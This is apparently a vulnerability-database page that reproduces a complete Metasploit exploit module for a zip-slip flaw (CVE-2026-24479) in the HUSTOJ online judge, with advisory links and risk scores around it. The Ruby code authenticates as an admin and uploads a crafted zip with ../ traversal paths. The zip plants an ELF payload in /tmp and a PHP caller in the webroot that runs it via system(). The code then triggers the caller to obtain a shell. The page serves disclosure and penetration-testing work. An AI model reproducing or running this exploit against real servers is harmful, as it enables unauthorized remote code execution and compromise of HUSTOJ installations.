Lucene search
K

HUSTOJ Admin users can zip-slip problem_import_qduoj.php, planting PHP files in webroot for RCE

🗓️ 15 May 2026 19:01:53Reported by oxagast, LoTuS and friends, ling101wType 
metasploit
 metasploit
🔗 www.rapid7.com👁 102 Views

HUSTOJ admin can trigger zip-slip on problem_import_qduoj.php to place a PHP shell in the webroot for remote code execution.

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2026-24479
27 Jan 202600:43
attackerkb
Circl
CVE-2026-24479
27 Jan 202603:47
circl
CNNVD
HUSTOJ Path Traversal Vulnerability
27 Jan 202600:00
cnnvd
CVE
CVE-2026-24479
27 Jan 202600:43
cve
Cvelist
CVE-2026-24479 HUSTOJ has Arbitrary File Write (Zip Slip) in Problem Import Modules that leads to RCE
27 Jan 202600:43
cvelist
Exploit DB
HUSTOJ Zip-Slip v26.01.24 - RCE
30 Apr 202600:00
exploitdb
EUVD
EUVD-2026-4836
27 Jan 202600:43
euvd
NVD
CVE-2026-24479
27 Jan 202601:16
nvd
OSV
CVE-2026-24479 HUSTOJ has Arbitrary File Write (Zip Slip) in Problem Import Modules that leads to RCE
27 Jan 202600:43
osv
Packet Storm
📄 HUSTOJ 26.01.24 Zip-Slip Remote Code Execution
5 May 202600:00
packetstorm
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'digest/md5'
# Metasploit module for exploiting HUSTOJ problem import RCE (CVE-2026-24479)
class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Retry
  include Msf::Exploit::EXE
  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'HUSTOJ Admin users can zip-slip problem_import_qduoj.php, planting PHP files in webroot for RCE',
        'Description' => <<~DESC,
          A user with administrative privileges can abuse the problem_import_qduoj.php CGI script
          using a crafted zip file (zip-slip) to traverse backwards through the filesystem, then to the
          webroot, where they can extract a PHP file that spawns a shell to get full RCE in the
          context of the webserver.
        DESC
        'Author' => [
          'oxagast', # exploit author
          'LoTuS and friends', # chinese to english translations
          'ling101w' # original discovery
        ],
        'License' => MSF_LICENSE,
        'Arch' => [ARCH_X64],
        'References' => [
          [
            'URL', 'https://github.com/oxagast/oxasploits/blob/JoshuaJohnWard/exploits' \
            '/CVE-2026-24479/hustoj_problem_import_rce.rb'
          ],
          [
            'URL', 'https://github.com/zhblue/hustoj/commit/902bd09e6d0011fe89cd84d423' \
            '6899314b33101f'
          ],
          ['URL', 'https://github.com/zhblue/hustoj/security/advisories/GHSA-xmgg-2rw4-7fxj'],
          ['CVE', '2026-24479'],
          ['EDB', '52539'],
          ['CWE', '22']
        ],
        'Platform' => 'linux',
        'Targets' => [['Auto', {} ]],
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        },
        'DisclosureDate' => '2026-01-26'
      )
    )
    register_options(
      [
        OptString.new('USERNAME', [true, "The HUSTOJ administrative user's username", 'admin']),
        OptString.new('PASSWORD', [true, "The HUSTOJ administrative user's password", nil]),
        OptString.new('DROPFILE', [false, 'The name of the file to drop on the target (without extension)', 'RANDOM']),
        OptString.new('SERVLOC', [true, 'The location HUSTOJ is being served from', '/home/judge']),
        OptBool.new('FORCE', [false, 'Try to exploit even if it will probably fail', false]),
        OptInt.new('TRAVERSE_LIMIT', [true, 'Number of ../ traversals to include in zip slip paths', 6]),
        OptInt.new('TIME_LIMIT', [true, 'Time limit for the exploit to succeed in seconds', 60])
      ]
    )
  end

  # Authenticate as admin and return session cookies
  def login(user, pass)
    check = send_request_cgi(
      'uri' => '/include/reinfo.js',
      'method' => 'GET',
      'ctype' => 'application/javascript'
    )
    if check.nil?
      fail_with(Failure::Unreachable, 'Failed to connect to the target webserver!')
    else
      print_good("Connected to the target webserver! #{Rex::Socket.to_authority(datastore['RHOST'], datastore['RPORT'])}")
    end
    # try to figure out what we are running against
    unless check && check.code == 200
      if check && check.code == 404
        print_error('Target returned 404 for /include/reinfo.js, this is not HUSTOJ!')
      else
        print_error('Target responded, but check did not pass!')
      end
      unless datastore['FORCE']
        fail_with(Failure::NotFound, 'Could not find reinfo.js. Target is not running HUSTOJ! Try FORCE.')
      end
    end
    unless check && check.code == 200 && check.body && check.body.include?('function escapeHtml(str) {') == false
      print_error('Target appears to be running HUSTOJ, but my be a patched version!')
      unless datastore['FORCE']
        print_error('Body check does not contain escapehtml function...')
        fail_with(Failure::NotVulnerable, 'Target is running a patched version of HUSTOJ!  Try FORCE.')
      end
    end
    if check && check.code == 200 && check.body && check.body.include?('var ret=pat.exec(errmsg);') && check.body.include?('function escapeHtml(str) {') == false
      print_good('Good! Target appears to be running a vulnerable version of HUSTOJ!')
    else
      print_error('Target does not appear to be running a vulnerable version of HUSTOJ!')
      unless datastore['FORCE']
        print_error('Body check does not contain pat.exec function')
        fail_with(Failure::NotFound, 'Target is not HUSTOJ or is a patched version!  Try FORCE.')
      end
    end
    send_request_cgi(
      'method' => 'POST',
      'uri' => '/login.php',
      'keep_cookies' => true,
      'ctype' => 'application/x-www-form-urlencoded',
      'vars_post' => {
        'user_id' => user,
        'password' => Digest::MD5.hexdigest(pass)
      }
    )

    # Check if login was successful
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => '/modifypage.php',
      'keep_cookies' => true
    )
    # we check for userinfo.php because it doesn't exist if our login fails
    unless res && res.code == 200 && res.body && res.body.include?('userinfo.php')
      fail_with(Failure::NoAccess, 'Failed to authenticate! Check credentials.')
    end
    stars = '*' * pass.length
    print_good("Logged in successfully! #{user}:#{stars}")
    # Check if the account has admin privileges
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => '/admin/menu2.php',
      'keep_cookies' => true
    )
    unless res && res.code == 200 && res.body && res.body.include?('problem_import.php')
      fail_with(Failure::NoAccess, 'Authenticated but does not appear to have admin privileges!')
    end
    return true
  end

  # Upload the malicious zip payload using the admin session
  def upload_payload(zip_dat, _rand_tag, dds)
    zip_size_kb = (zip_dat.length / 1024.0).round(2)
    print_status("Uploading the payload... #{zip_size_kb}kb")
    form_data = Rex::MIME::Message.new
    # it is ncessary for the MIME type to be application/octet-stream instead of application/zip
    # for this to work when using Rex::MIME::Message, otherwise no POST req is ever made.  Not
    # entirely sure what causes this.
    form_data.add_part(zip_dat, 'application/octet-stream', nil, "form-data; name=\"fps\"; filename=\"#{datastore['DROPFILE']}.zip\"")
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => '/admin/problem_import_qduoj.php',
      'keep_cookies' => true,
      'ctype' => "multipart/form-data; boundary=#{form_data.bound}",
      'data' => form_data.to_s
    )
    if res && res.code == 200
      print_good("Payload uploaded! #{datastore['DROPFILE']}.zip")
      print_status("This is where the zipslip happens... #{dds} (levels: #{datastore['TRAVERSE_LIMIT']})")
    else
      fail_with(Failure::UnexpectedReply, 'Failed to upload the payload! Check your session and try again.')
    end
  end

  # Trigger the uploaded PHP shell to execute the payload
  def trigger_sploit(rand_tag)
    print_status("Triggering the php script... #{datastore['DROPFILE']}-#{rand_tag}.php")
    trig = send_request_raw(
      {
        'uri' => "/#{datastore['DROPFILE']}-#{rand_tag}.php",
        'method' => 'GET'
      }
    )
    if trig && trig.code == 200
      sleep(2) # give it a moment to pop the session before we ret
      return true
    end
  end

  # Clean up dropped files after exploitation
  def cleanup
    super
    # prevents the cleanup routine from running multiple times (reduses log noise)
    send_request_raw(
      {
        'uri' => "/#{datastore['DROPFILE']}-cu.php",
        'method' => 'GET'
      }
    )
    print_status('Cleaning up the payload caller and shell files...')
  end

  # Main exploit logic
  def exploit
    # Authenticate, upload, and trigger the exploit!
    if datastore['DROPFILE'] == 'RANDOM'
      datastore['DROPFILE'] = Rex::Text.rand_text_alpha(3)
    end
    opts = {
      format: 'elf'
    }
    shell_gend = generate_payload_exe(opts)
    unless datastore['DROPFILE'].match?(/\A\w+\z/)
      fail_with(Failure::BadConfig, 'DROPFILE should be alphanumeric.')
    end
    if shell_gend.empty?
      fail_with(Failure::PayloadFailed, 'Payload generation failed!  Try a different payload?')
    end
    print_good("Payload generated! #{datastore['PAYLOAD']}")
    # Generate a random tag for file uniqueness
    rand_tag = Rex::Text.rand_text_alpha(5)
    print_status("Random payload tag #{rand_tag}")
    # PHP script to call the ELF payload
    shell_caller = "<?php http_response_code(200); fastcgi_finish_request(); chmod('/tmp/#{datastore['DROPFILE']}-#{rand_tag}', 0700); system('/tmp/#{datastore['DROPFILE']}-#{rand_tag}'); ?>"
    # PHP script to clean up dropped files
    cleanup_caller = "<?php unlink('/tmp/#{datastore['DROPFILE']}-#{rand_tag}'); unlink('#{datastore['SERVLOC']}/src/web/#{datastore['DROPFILE']}" \
      "-#{rand_tag}.php'); unlink('#{datastore['SERVLOC']}/src/web/#{datastore['DROPFILE']}-cu.php'); ?>"
    dds = '../' * datastore['TRAVERSE_LIMIT'] # Directory traversal string for zipslip
    # Files to include in the malicious zip (zipslip paths for traversal)
    # problem_1010 in/out files can be empty, but should be in the zip to ensure serverside import
    files = [
      { data: shell_gend, fname: "#{dds}tmp/#{datastore['DROPFILE']}-#{rand_tag}" },
      { data: shell_caller, fname: "#{dds}#{datastore['SERVLOC']}/src/web/#{datastore['DROPFILE']}-#{rand_tag}.php" },
      { data: cleanup_caller, fname: "#{dds}#{datastore['SERVLOC']}/src/web/#{datastore['DROPFILE']}-cu.php" },
      { data: '{}', fname: 'problem_1010.json' },
      { data: '', fname: 'problem_1010/1.in' },
      { data: '', fname: 'problem_1010/1.out' }
    ]
    # Create the malicious zip archive
    zip_dat = Msf::Util::EXE.to_zip(files)
    fail_with(Failure::PayloadFailed, 'Zip generation failed!') if zip_dat.empty?
    print_good("Zip file generated! Files: #{files.length}")
    unless datastore['TRAVERSE_LIMIT'] >= 2
      fail_with(Failure::BadConfig, 'TRAVERSE_LIMIT should be at least 2 to ensure the zip slip can reach the root of the fs!')
    end
    unless datastore['USERNAME'] && datastore['PASSWORD']
      fail_with(Failure::BadConfig, 'USERNAME and PASSWORD must be set to an admin account!')
    end
    unless login(datastore['USERNAME'], datastore['PASSWORD']) && upload_payload(zip_dat, rand_tag, dds)
      fail_with(Failure::Unknown, 'Something strange happened in the login or upload!')
    end
    popped = retry_until_truthy(timeout: datastore['TIME_LIMIT']) do
      trigger_sploit(rand_tag)
    end
    unless popped
      fail_with(Failure::PayloadFailed, 'Failed to trigger the payload within timeout!  Check your listener?')
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

09 Jun 2026 19:04Current
5.8Medium risk
Vulners AI Score5.8
CVSS 3.19.8
CVSS 49.3
EPSS0.58917
SSVC
102